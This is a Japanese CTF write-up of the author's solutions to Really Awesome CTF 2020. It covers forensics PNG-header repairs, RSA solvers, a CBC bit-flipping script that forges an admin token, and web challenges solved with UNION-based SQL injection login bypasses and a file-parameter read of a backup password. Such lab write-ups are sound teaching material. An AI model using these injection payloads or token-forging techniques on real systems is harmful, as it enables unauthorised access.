Really Awesome CTF 2020 Writeup

この大会は2020/6/6 2:00(JST)~2020/6/10 2:00(JST)に開催されました。
今回もチームで参戦。結果は13700点で1047チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc 50)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてある。

ractf{the_game_begins}

Solved in a Flash (Reversing / Pwn 100)

stringsコマンドを実行するだけ。

$ strings flash.bin | grep ractf
ractf{Fl4shDump5Ar3VeryFun!!}
ractf{Fl4shDump5Ar3VeryFun!!}

Quarantine - Hidden information (Web 150)

Sign upは使えない。AdminはSign inにリダイレクトする。Sign inでSQLインジェクションを試したが、うまくいかない。
http://95.216.233.106:31449/robots.txtにアクセスする。

User-Agent: *
Disallow: /admin-stash

http://95.216.233.106:31449/admin-stashにアクセスすると、フラグが書いてあった。

ractf{1m_n0t_4_r0b0T}

Entrypoint (Web 200)

HTMLソースを見ると、コメントにパスワードに関するファイルのことが書いてあった。

            <!--
                In case I forget: Backup password is at ./backup.txt
            -->

http://95.216.233.106:61870/backup.txtを直接見ることはできない。HTMLソースで、cssをパラメータで読んでいるところがあった。

<link rel="stylesheet" href="/static?f=index.css">

http://95.216.233.106:61870/static?f=backup.txtにアクセスしてみると、こう書いてある。

develop    developerBackupCode4321

Make sure to log out after using!

TODO: Setup a new password manager for this

以下でログインしてみる。

Username: develop
Password: developerBackupCode4321

ログインできたので、このパスワードがフラグになる。

ractf{developerBackupCode4321}

Admin Attack (Web 300)

SQLインジェクションをしてみる。

Username: ' union select 1 -- -
Password: 空欄

この場合こういう答えが返ってきた。

Traceback (most recent call last):
  File "/srv/raro/main.py", line 145, in index
    cur.execute("SELECT * FROM users WHERE password='{}' AND username='{}'".format(
sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns

いくつか試してみる。

Username: ' union select 1,2 -- -
Password: 空欄

この場合はこういう答え。

Traceback (most recent call last):
  File "/srv/raro/main.py", line 132, in index
    cur.execute("SELECT algo FROM users WHERE username='{}'".format(
sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns

Usernameは合わせた方がよさそう。

Username: loginToGetFlag
Password: ' union select 1,2 -- -

    ↓

Traceback (most recent call last):
  File "/srv/raro/main.py", line 141, in index
    cur.execute("SELECT * FROM users WHERE username='{}' AND password='{}'".format(
sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
Username: loginToGetFlag
Password: ' union select 1,2,3 -- -

    ↓

Traceback (most recent call last):
  File "/srv/raro/main.py", line 141, in index
    cur.execute("SELECT * FROM users WHERE username='{}' AND password='{}'".format(
sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
Username: loginToGetFlag
Password: ' union select 1,2,3,4 -- -

この場合はログインできて、フラグが表示された。

ractf{!!!4dm1n4buse!!!}

Baiting (Web 200)

SQLインジェクションをしてみる。

Username: loginToGetFlag
Password: ' union select 1,2,3,4 -- -

この場合はログインできて、ユーザ名が1になっている。

Username: loginToGetFlag
Password: ' union select 'loginToGetFlag',2,3,4 -- -

こうすると、loginToGetFlagユーザとしてログインできて、フラグが表示された。

ractf{injectingSQLLikeNobody'sBusiness}

Disk Forensics Fun (Steg / Forensics 350)

ForensicImageConverterでraw形式に変換して、普通に解凍してみる。
HOMEディレクトリにNOTHINGH.ASCがあり、ROOTディレクトリにPRIVATE.PGPがある。まず秘密鍵のPRIVATE.PGPをインポートする。

$ gpg --import PRIVATE.PGP 
gpg: 鍵10F3E6C8D8DD2E97: 公開鍵"Cloud Strife (Was never in doubt!) <cloud@avalanche-midgar.org>"をインポートしました
gpg: 鍵10F3E6C8D8DD2E97: 秘密鍵をインポートしました
gpg: 処理数の合計: 1
gpg:               インポート: 1
gpg:       秘密鍵の読み込み: 1
gpg:   秘密鍵のインポート: 1

NOTHINGH.ASCを復号してみる。

$ gpg -o message.txt -d NOTHINGH.ASC 
gpg: 匿名の受取人用です。秘密鍵AFC81B19C65AE957を試します ...
gpg: 終了。匿名の受取人用です。
gpg: RSA鍵, ID 0000000000000000で暗号化されました
$ file message.txt
message.txt: HTML document, ASCII text, with very long lines
$ mv message.txt message.html

f:id:satou-y:20200615204846p:plain
ブラウザで開くと、テキストだけで作成された画像のような表示。
よく見ると、89504e47から始まり、PNGのバイナリデータのようなので、デコードしてPNGファイルにする。

with open('code.bin', 'r') as f:
    data = f.read().replace('\n', '')

with open('flag.png', 'wb') as f:
    f.write(data.decode('hex'))

PNG画像にフラグが書かれていた。
f:id:satou-y:20200615204940p:plain

ractf{b4s1c_d1sk_f0r3ns1cs}

Cheap Facades (Steg / Forensics 400)

バイナリエディタで見ると、ヘッダ部分以外はpngになっている。まずはヘッダをpngシグネチャに書き換える。あとはIHDRチャンクの幅と高さの情報が0になっているので、修正する必要がある。まず幅を総当たりで画像が表示されるのを見る。

import struct
import binascii

with open('flag.png', 'rb') as f:
    data = f.read()

head = data[:16]
tail = data[33:]

h = 1024
for w in range(1, 4097):
    width = struct.pack('>I', w)
    height = struct.pack('>I', h)
    ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00'
    crc = struct.pack('!l', binascii.crc32(ihdr))
    out = head + width + height
    out += '\x08\x06\x00\x00\x00'
    out += crc + tail

    fname = 'png/flag_%04d.png' % w
    with open(fname, 'wb') as f:
        f.write(out)

幅は420とわかったので、これでフラグがわかるが、一応高さを変えて、CRCが一致するものを探す。

import struct
import binascii

with open('flag.png', 'rb') as f:
    data = f.read()

head = data[:16]
tail = data[33:]
real_crc = data[29:33]

w = 420
for h in range(1, 513):
    width = struct.pack('>I', w)
    height = struct.pack('>I', h)
    ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00'
    crc = struct.pack('!l', binascii.crc32(ihdr))
    if crc == real_crc:
        out = head + width + height
        out += '\x08\x06\x00\x00\x00'
        out += crc + tail

        with open('flag_fix.png', 'wb') as f:
            f.write(out)
        break

f:id:satou-y:20200615205227p:plain

ractf{D0n't_judg3_4_f1le_6y_it5_h34d3r}

Cut Short (Steg / Forensics 200)

IHDRチャンクのところにIENDチャンクが割り込んでいるので、削除する。
f:id:satou-y:20200615205416p:plain

ractf{1m4ge_t4mp3r1ng_ftw}

Dimensionless Loading (Steg / Forensics 250)

pngのIHDRチャンクの幅と高さの情報が0になっている。まず幅を総当たりで画像が表示されるのを見る。

import struct
import binascii

with open('flag.png', 'rb') as f:
    data = f.read()

head = data[:16]
tail = data[33:]

h = 1024
for w in range(1, 4097):
    width = struct.pack('>I', w)
    height = struct.pack('>I', h)
    ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00'
    crc = struct.pack('!l', binascii.crc32(ihdr))
    out = head + width + height
    out += '\x08\x06\x00\x00\x00'
    out += crc + tail

    fname = 'png/flag_%04.png' % w
    with open(fname, 'wb') as f:
        f.write(out)

幅は1378とわかったので、これでフラグがわかるが、一応高さを変えて、CRCが一致するものを探す。

import struct
import binascii

with open('flag.png', 'rb') as f:
    data = f.read()

head = data[:16]
tail = data[33:]
real_crc = data[29:33]

w = 1378
for h in range(1, 513):
    width = struct.pack('>I', w)
    height = struct.pack('>I', h)
    ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00'
    crc = struct.pack('!l', binascii.crc32(ihdr))
    if crc == real_crc:
        out = head + width + height
        out += '\x08\x06\x00\x00\x00'
        out += crc + tail

        with open('flag_fix.png', 'wb') as f:
            f.write(out)
        break

f:id:satou-y:20200615205642p:plain

ractf{m1ss1ng_n0_1s_r34l!!}

Really Simple Algorithm (Cryptography 100)

$ nc 95.216.233.106 13246
p: 11923559391274867271698228994085358772265289066773780994247207695444069138877873910521687358143936113908238723540041158013599252272290856685734631091031663
q: 12334597485059658060035324923267531368416266862922863745216776549405199775327461487050092653727307666387191332918874998512486911172213136871573270703355537
e: 65537
ct: 8614808086320678189367965861751054395629994119280169555151211608817507783522774380198259281159489436384291816378086417120366866655010058403601706882058778811208389829428225963635486022256072758054713343857709363889067479379598982234970145277133715224603736819058587667155445633107238277497955278583565510245

p, qがわかっているので、そのまま復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 13246))

data = recvuntil(s, '\n').rstrip()
print data
p = int(data.split(': ')[1])

data = recvuntil(s, '\n').rstrip()
print data
q = int(data.split(': ')[1])

data = recvuntil(s, '\n').rstrip()
print data
e = int(data.split(': ')[1])

data = recvuntil(s, '\n').rstrip()
print data
ct = int(data.split(': ')[1])

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag =long_to_bytes(m)
print flag

実行結果は以下の通り。

p: 12593384036990625510836325665034881234816613863316128735333506821945103541427989606439524370488838287424743299620387078957647192047803460193119400333530541
q: 12136499865325172707913964113531640694951019315884255033727344575632235325737156784871918994153763801130146836360640982585028161555323272329382164705764687
e: 65537
ct: 47394045122493977071865669741149368797058621756804757698600936380956184198166512090205074502798269472218004562743693728952743709383349029137714529377574816117694624234459754416478115898479186995617729844875629142537468817176205563995504683336698765482390355568473275711666749726500856676219042135639434975451
ractf{JustLikeInTheSimulations}
ractf{JustLikeInTheSimulations}

Really Secret Algorithm (Cryptography 300)

処理は以下のようになっている。

p, q: 1024bit素数ペア
ct: message暗号化->base85エンコード
    ->31バイトごとに改行し、41バイトの中央に出力する。
p, q: 128バイト文字列に変換
key:
・p[0] ^ s(=0)
・q[0] ^ s ^ p[0]
・p[1] ^ s(=s ^ p[0])
   :
key: base85エンコード
     ->31バイトごとに改行し、41バイトの中央に出力する。
e_str: eを4バイト文字列にし、base85エンコード
     ->31バイトごとに改行し、41バイトの中央に出力する。

構成は以下の通り。
  -*-*-*- BEGIN ARR ESS AYY MSG -*-*-*-
      <key>
           <e_str>
           <ct>
   -*-*-*- END ARR ESS AYY MSG -*-*-*-

keyを基にp, qの先頭から順に求められる。以上から元の情報を復元していく。

#!/usr/bin/env python3
import base64
from Crypto.Util.number import *

enc = '''  -*-*-*- BEGIN ARR ESS AYY MSG -*-*-*-
     0000000000000000000000000000000
     0000000000000000000000000000000
     0000000000000000000000000000000
     0000000000000000000000000000000
     0000000000000000000000000000000
     00000s&nYASMBl==Raa6f1mSybO1&`P
     n=MSlA^HVasQovKL?f9nB=?Wjz*-}bj
     4rNeU}9v(Tcn16Ji;Mjv?)4T@pD@76=
     9j%)LevT&=&p%BMcIckO@P450UqkjIR
     6DT^igJmh5<xI<alHa3p;VuZ%5HWp>1
                #T6e(?T*2I
                  00962
     jx@>fERjV6gRSH!+pdv<kOoEVD#<P05
     <nAMIT@fYQOcbQ{VfQh+sli_--_zE8)
     G@9Y^2j=XLkGz;kZTPS&eJtOKwM~!V6
     SmtDRCJ%568a_utlnc?ywyQ^??W!-Ro
     `%%d9c?q+nQ*s<4Sn4@*0vXe9sl<*c8
                  *WY0^
   -*-*-*- END ARR ESS AYY MSG -*-*-*-'''

key = ''.join(enc.split('\n')[1:12]).replace(' ', '')
key = base64.b85decode(key)

s = 0
p = bytearray()
q = bytearray()
for i in range(128):
    p.append(key[i*2] ^ s)
    s = s ^ p[i]
    q.append(key[i*2+1] ^ s)
    s = s ^ q[i]

p = int.from_bytes(p, byteorder='big')
q = int.from_bytes(q, byteorder='big')
n = p * q

e_str = enc.split('\n')[12].replace(' ', '')
e = int.from_bytes(base64.b85decode(e_str), byteorder='big')

ct = ''.join(enc.split('\n')[13:-1]).replace(' ', '')
ct = int.from_bytes(base64.b85decode(ct), byteorder='big')

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print(flag)
ractf{DoY0uLik3MyW4lrus35}

Really Speedy Algorithm (Cryptography 350)

$ nc 95.216.233.106 42336
[*] Welcome to my little RSA game.
[*] You will be presented with a number of questions.
[*] You have at most 200ms to solve any given question.
[*] That should be plenty for any human good at crypography.
[*] Good luck.
[*]
[c] Challenge 1:
[:] p: 8985912869765836602808040788683351967232365593474931993623564567231715218096476854937367832341099174938797891020758916146281844078761381802332954452401551
[:] phi: 73242320489455201645864051318692655188298131884754429491042608362686135797822348432722462220291634401824947188778694317355565081354838519074085537096889644227468691784654207233071031453893044047712451783310051676167532954818322888267525304809089135120197284880024275791953877555713862253230298447099705272100
[:] e: 65537
[:] ct: 2488501891252202624354461564283860868496358276552106855588318909205745477830886318950938641560394285256135864044333549410900365596199257675012257357820854387289855012467404972650736052296987837545353373362831677094877131128215807429759958609778998384987160441929571986102577749236150638842104817563440080800
[?] pt: 

$ nc 95.216.233.106 42336
[*] Welcome to my little RSA game.
[*] You will be presented with a number of questions.
[*] You have at most 200ms to solve any given question.
[*] That should be plenty for any human good at crypography.
[*] Good luck.
[*]
[c] Challenge 1:
[:] p: 10919526939376045936228357771548759999732232121074636228929917263621796003827830651620544325920928726183004143331724690625532266825621322657622862100943397
[:] q: 11861762255939778268533124042842504225825979248455607275786098935432854444220191483675623679874443103440178001981301086218945429649974415356818521058542001
[:] e: 65537
[?] d: 

$ nc 95.216.233.106 42336
[*] Welcome to my little RSA game.
[*] You will be presented with a number of questions.
[*] You have at most 200ms to solve any given question.
[*] That should be plenty for any human good at crypography.
[*] Good luck.
[*]
[c] Challenge 1:
[:] p: 11861762255939778268533124042842504225825979248455607275786098935432854444220191483675623679874443103440178001981301086218945429649974415356818521058542001
[:] q: 10684057296085116271696281596995815485093360444322337104778122269950244129395704833049599244363793699575255890294872741181923626603338793019632122886117631
[:] e: 65537
[?] d: 

$ nc 95.216.233.106 42336
[*] Welcome to my little RSA game.
[*] You will be presented with a number of questions.
[*] You have at most 200ms to solve any given question.
[*] That should be plenty for any human good at crypography.
[*] Good luck.
[*]
[c] Challenge 1:
[:] p: 10919526939376045936228357771548759999732232121074636228929917263621796003827830651620544325920928726183004143331724690625532266825621322657622862100943397
[:] n: 76282614676438038603000088971505569533968315443397212550645728885764494415659686374108717530519754823610169313813217068410091166374851154106056191294049527794387954533518541312999787687725365786072991858562488450379108560167385912972192385160013955174143741140642044181677513275325359922884199535330759213803
[?] q: 

$ nc 95.216.233.106 64897
[*] Welcome to my little RSA game.
[*] You will be presented with a number of questions.
[*] You have at most 200ms to solve any given question.
[*] That should be plenty for any human good at crypography.
[*] Good luck.
[*]
[c] Challenge 1:
[:] p: 9358394402627681276821748123517417371100120196927306322084860490242494970964168685023928816946885428095185176136493197317061709195678101084972304586142229
[:] q: 9358394402627681276821748123517417371100120196927306322084860490242494970964168685023928816946885428095185176136493197317061709195678101084972304586142229
[?] n: 

RSA暗号に関する問題で、求める値が変わるので、ケース別に算出して、答えていく。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 42336))

for i in range(100):
    data = recvuntil(s, '[?]')
    data += recvuntil(s, ': ')
    lines = data.split('\n')
    for line in lines:
        if line[1] == ':':
            k = line[4:].split(': ')[0]
            v = line[4:].split(': ')[1]
            if k == 'p':
                p = int(v)
            elif k == 'q':
                q = int(v)
            elif k == 'n':
                n = int(v)
            elif k == 'e':
                e = int(v)
            elif k == 'phi':
                phi = int(v)
            elif k == 'ct':
                ct = int(v)
            elif k == 'pt':
                pt = int(v)
    ans_k = lines[-1][4:].split(':' )[0]
    if ans_k == 'pt':
        q = (phi / (p - 1)) + 1
        d = inverse(e, phi)
        pt = str(pow(ct, d, p * q))
        print data + pt
        s.sendall(pt + '\n')
    elif ans_k == 'ct':
        ct = str(pow(pt, e, p * q))
        print data + ct
        s.sendall(ct + '\n')
    elif ans_k == 'd':
        phi = (p - 1) * (q - 1)
        d = str(inverse(e, phi))
        print data + d
        s.sendall(d + '\n')
    elif ans_k == 'q':
        q = str(n / p)
        print data + q
        s.sendall(q + '\n')
    elif ans_k == 'n':
        n = str(p * q)
        print data + n
        s.sendall(n + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
[c] Challenge 100:
[:] p: 9249521947689078948704377469480926526346018378134746106328911262974600159164168362823226911518409340646010091378452659700085681828761517268830978430459907
[:] q: 8256912810944508831986508615688149437248779222352550853607303973029535139758543454274635387636484583527940159105437753250361425458825940807781957557785657
[:] e: 65537
[:] pt: 165386163699742190614464901924801242356
[?] ct: 50444724256910075803391661531529216029721613545250039573208565842175620789598460586657325011306682766922556820133614466487256810167334580146502117351253603486369303594036389523766101965885075259849447035189257601158527925358797299304291589143024988864242192182454271754191421395910681055377507399558351015341
[!] Correct answer

[F] FLAG: ractf{F45t35tCryp70gr4ph3rAr0und}
ractf{F45t35tCryp70gr4ph3rAr0und}

Really Small Algorithm (Cryptography 150)

$ nc 95.216.233.106 54044
n: 224784373263656669705261411636978712822473370868726109320855977750212158821274215543886953085248721961410224179758997996326219795162637725897515178466113411
e: 65537
ct: 73974714303943221913338825341186940263860488960405047233537932474215659618261121151708435692223339741674469708188958916082565219797682020009102156781090322

素因数分解すると、必ず片方が17になる。素因数分解できれば、あとはそのまま復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 54044))

data = recvuntil(s, '\n').rstrip()
print data
n = int(data.split(': ')[1])

data = recvuntil(s, '\n').rstrip()
print data
e = int(data.split(': ')[1])

data = recvuntil(s, '\n').rstrip()
print data
ct = int(data.split(': ')[1])

p = 17
q = n / 17
assert n % p == 0

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag =long_to_bytes(m)
print flag

実行結果は以下の通り。

n: 190545459786061754974396362583450620273582871846958596331149226883470940642536071892229139373473772883829229952433396123207335949849856500618530181897525979
e: 65537
ct: 161181005594377511213660379651288124151350077691960567002286203539408068833599372800776390596708068122215416792308372171205298382812923339320173034209079078
ractf{S0m3t1mesS1zeDoesM4773r}
ractf{S0m3t1mesS1zeDoesM4773r}

It's as easy as access=0000 (Cryptography 300)

$ nc 95.216.233.106 16726
Would you like to:
[1] Create a guest token
[2] Read the flag
Your choice: 1
{'token': '1f0749c1e4c544e6adf1f774f4bf632dd54dd9d4bb6a722f5be7ca10a41c84785c0e815be511f4f1883338aab968d5b6'}
Would you like to:
[1] Create a guest token
[2] Read the flag
Your choice: 2
Please enter your admin token: 1f0749c1e4c544e6adf1f774f4bf632dd54dd9d4bb6a722f5be7ca10a41c84785c0e815be511f4f1883338aab968d5b6
Please enter your token's initialization vector: 1f0749c1e4c544e6adf1f774f4bf632d
{'error': 'not authorized to read flag'}
Would you like to:
[1] Create a guest token
[2] Read the flag
Your choice:

サーバの処理概要は以下の通り。

■1.Create a guest token
・expires_at: 1日後のUNIXTIME(例:1591522199)
・token: "access=9999;expiry={expires_at}
・iv: ランダム16バイト
・padded: access=9999;expiry=1591522199\x03\x03\x03
・AES-CBCでpaddedを暗号化
・iv + ct をtokenとして表示

■2.Read the flag
・token(iv含めず)とivを指定
・access=0000であれば、フラグが表示される。

IVを調整すれば、1ブロック目は調整できる。

iv1 ^ pt1 = iv2 ^ pt2

これで9999を0000にすればよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 16726))

data = recvuntil(s, 'choice: ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data
token = eval(data)['token']
iv1 = token[:32]
token = token[32:]

pt1 = 'access=9999xxxxx'
pt2 = 'access=0000xxxxx'

iv2 = str_xor(str_xor(pt1, iv1.decode('hex')), pt2).encode('hex')

data = recvuntil(s, 'choice: ')
print data + '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + token
s.sendall(token + '\n')
data = recvuntil(s, ': ')
print data + iv2
s.sendall(iv2 + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Would you like to:
[1] Create a guest token
[2] Read the flag
Your choice: 1
{'token': 'ae3a238bd9d055cd3349df366cefb40dce61cc1eb8a9d04e855db2df77f910bf7381b85c887fa552a947d358ba260cf8'}
Would you like to:
[1] Create a guest token
[2] Read the flag
Your choice: 2
Please enter your admin token: ce61cc1eb8a9d04e855db2df77f910bf7381b85c887fa552a947d358ba260cf8
Please enter your token's initialization vector: ae3a238bd9d055c43a40d6366cefb40d
{'flag': 'ractf{cbc_b17_fl1pp1n6_F7W!}'}
ractf{cbc_b17_fl1pp1n6_F7W!}

B007l3G CRYP70 (Cryptography 350)

$ nc 95.216.233.106 36660
Welcome to MEGACORP's proprietary encryption service! Just type your message below and out will come the encrypted text!

Please enter the message you wish to encrypt: a
Your encrypted message is: 54 19 53 32

Please enter the message you wish to encrypt: a
Your encrypted message is: 56 54 20 28

Please enter the message you wish to encrypt: a
Your encrypted message is: 29 57 27 45

Please enter the message you wish to encrypt: a
Your encrypted message is: 34 46 43 35

Please enter the message you wish to encrypt: ab
Your encrypted message is: 56 30 32 40 38 32 52 35

Please enter the message you wish to encrypt: abc
Your encrypted message is: 48 27 35 48 52 40 16 49 43 44 28 41
>>> 54+19+53+32
158
>>> 56+54+20+28
158
>>> 29+57+27+45
158
>>> 34+46+43+35
158
>>> 56+30+32+40
158
>>> 48+27+35+48
158
>>> 38+32+52+35
157
>>> 52+40+16+49
157
>>> 43+44+28+41
156

同じ文字の場合、4つの数字の和が同じであることがわかる。

Please enter the message you wish to encrypt: cba
Your encrypted message is: 38 48 49 21 37 43 42 35 33 31 42 52

>>> 38+48+49+21
156
>>> 37+43+42+35
157
>>> 33+31+42+52
158

順番を逆にしても同じ。

Please enter the message you wish to encrypt: #$%
Your encrypted message is: 26 68 52 74 61 52 59 47 73 65 46 34

>>> 26+68+52+74
220
>>> 61+52+59+47
219
>>> 73+65+46+34
218

>>> ord('a') + 158
255
>>> ord('#') + 220
255

4つの数字と平文の合計が255になるようになっている。このことから255から4つの数字を引き、文字にしていけばフラグになると推測できる。

enc = '41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34'
enc = map(int, enc.split(' '))

flag = ''
for i in range(0, len(enc), 4):
    code = 255 - sum(enc[i:i+4])
    flag += chr(code)
print flag
ractf{d0n7_r0ll_y0ur_0wn_cryp70}

B007L36 CRYP70... 4641N (Cryptography 400)

$ nc 95.216.233.106 34666
Welcome MEGACORP admin! Feel free to encrypt any sensitive information using this service to protect against data theft.

Please enter the secret key to encrypt the data with: a
Please enter the data that you would like to encrypt: a
Your encrypted message is: w4I=

Please enter the secret key to encrypt the data with: a
Please enter the data that you would like to encrypt: a
Your encrypted message is: w4I=

Please enter the secret key to encrypt the data with: b
Please enter the data that you would like to encrypt: a
Your encrypted message is: w4M=

Please enter the secret key to encrypt the data with: z
Please enter the data that you would like to encrypt: a
Your encrypted message is: w5s=

Please enter the secret key to encrypt the data with: 0
Please enter the data that you would like to encrypt: a
Your encrypted message is: wpE=

Please enter the secret key to encrypt the data with: 0
Please enter the data that you would like to encrypt: 0
Your encrypted message is: YA==

Please enter the secret key to encrypt the data with: aaaaaaaaaaaaaaaaa
Please enter the data that you would like to encrypt: a
Your encrypted message is: w4I=
key:a, pt:a
ct: \xc3\x82

key:b, pt:a
ct: \xc3\x83

key:z, pt:a
ct: \xc3\x9b

key:0, pt:a
ct: \xc2\x91

key:0, pt:0
ct: \x60
Please enter the secret key to encrypt the data with: abcd
Please enter the data that you would like to encrypt: aaaaaaaaaaaaaaaaaaaa
Your encrypted message is: w4LDg8OEw4XDgsODw4TDhcOCw4PDhMOFw4LDg8OEw4XDgsODw4TDhQ==
key:abcd, pt:aaaaaaaaaaaaaaaaaaaa
ct: \xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85
Please enter the secret key to encrypt the data with: a
Please enter the data that you would like to encrypt: b
Your encrypted message is: w4M=

Please enter the secret key to encrypt the data with: a
Please enter the data that you would like to encrypt: c
Your encrypted message is: w4Q=

Please enter the secret key to encrypt the data with: c
Please enter the data that you would like to encrypt: a
Your encrypted message is: w4Q=

keyとdataを逆にしても同じ。

Please enter the secret key to encrypt the data with: Z
Please enter the data that you would like to encrypt: a
Your encrypted message is: wrs=

Please enter the secret key to encrypt the data with: A
Please enter the data that you would like to encrypt: a
Your encrypted message is: wqI=
key:Z, pt:a
ct: \xc2\xbb

key:A, pt:a
ct: \xc2\xa2

暗号化した結果は以下の値の範囲。

  00-  7f
c280-c2bf
c380-c3be

完全な法則が読めず、ブルートフォースする。まず、ciphertext.txtとplaintext.txtから鍵を求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

with open('plaintext.txt', 'r') as f:
    pt = f.read().rstrip()

with open('ciphertext.txt', 'r') as f:
    ct = f.read().rstrip().decode('base64')

cs = []
i = 0
while True:
    if ct[i] == '\xc2' or ct[i] == '\xc3':
        cs.append(ct[i:i+2])
        i += 2
    else:
        cs.append(ct[i])
        i += 1
    if i == len(ct):
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 34666))

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

key = ''
for i in range(len(pt)):
    for k in range(32, 127):

        try_key = key + chr(k)
        data = recvuntil(s, ': ')
        print data + try_key
        s.sendall(try_key + '\n')

        try_pt = pt[:i+1]
        data = recvuntil(s, ': ')
        print data + try_pt
        s.sendall(try_pt + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        try_ct = data.split(': ')[1].decode('base64')

        data = recvuntil(s, '\n').rstrip()
        print data

        ct = ''.join(cs[:i+1])
        if try_ct[:len(ct)] == ct:
            key += chr(k)
            break

print key
        :
Please enter the secret key to encrypt the data with: ractf{n0t_th3_fl49_y3t}ractf{n0t_th3_fl49_y3t}ractf{n0t_th3_fl49_y3t}ractf{n0t_t1
Please enter the data that you would like to encrypt: To test the encryption service, encrypt this file with your company issued secret
Your encrypted message is: w4bDkMKDw6jDi8Ouw6JQw6jDh8OZwojCmMONw4nDnsKtwqnDk8OiwqLDosKdw6XDhsOVw6rDj8Oew5NcwpTDhMOiw4vCpcOYw5bDoFTCrcOHw6LCpsKUw6PDm8ONw4jClMOdw6TDosKYwpTDmMOjw53CpX/DicObwqHCqcOAw6fCrMKUw6bDpcOUw5jDmcOKwpvDocKVw5fDkcOZwqU=
        :

実行途中だが、鍵はractf{n0t_th3_fl49_y3t}であることがわかる。
この鍵を使って、password.txtの内容を復号する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

key = 'ractf{n0t_th3_fl49_y3t}'

with open('password.txt', 'r') as f:
    ct = f.read().rstrip().decode('base64')

cs = []
i = 0
while True:
    if ct[i] == '\xc2' or ct[i] == '\xc3':
        cs.append(ct[i:i+2])
        i += 2
    else:
        cs.append(ct[i])
        i += 1
    if i == len(ct):
        break

key = key * (len(cs) / len(key) + 1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('95.216.233.106', 34666))

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

flag = ''
for i in range(len(cs)):
    for c in range(32, 127):

        try_key = key[:i+1]
        data = recvuntil(s, ': ')
        print data + try_key
        s.sendall(try_key + '\n')

        try_pt = flag + chr(c)
        data = recvuntil(s, ': ')
        print data + try_pt
        s.sendall(try_pt + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        try_ct = data.split(': ')[1].decode('base64')

        data = recvuntil(s, '\n').rstrip()
        print data

        ct = ''.join(cs[:i+1])
        if try_ct[:len(ct)] == ct:
            flag += chr(c)
            break

print flag

実行結果は以下の通り。

        :
Please enter the secret key to encrypt the data with: ractf{n0t_th3_fl49_y3t}ractf{n0t
Please enter the data that you would like to encrypt: ractf{f00l_m3_7w1c3_5h4m3_0n_m3}
Your encrypted message is: w6TDgsOGw6jDjMO2w5RgwqTDi8OTw5Vmwr7CncOjZcKcwpLDmGjDnMKxw5/ClMOCwqTDlMOaw5tjw7E=

ractf{f00l_m3_7w1c3_5h4m3_0n_m3}
ractf{f00l_m3_7w1c3_5h4m3_0n_m3}

01 (Cryptography 100)

問題の暗号文は以下の通り。

LHFKM GMRHC FLMMJ ULXFY JOUFC
FQFXF ZJOKP JOMMU LMRJT FFTBA
JYFFR JZFXG AWJCB ULXFI FFKRF
KPGKH RFWCF MTFRR LHFRI FMQFF
KFLWU JMUFC IOMMU FYCFF KWCYB
MFPQF CFHJG KHMJK FFPMJ PFWCY
BMMUF TMJQJ CVJOM GZMUF CFRRJ
TFMUG KHGAA FHLAH JGKHJ KLKPH
FMMUF TLCCF RMFPK JCTLA YMUFW
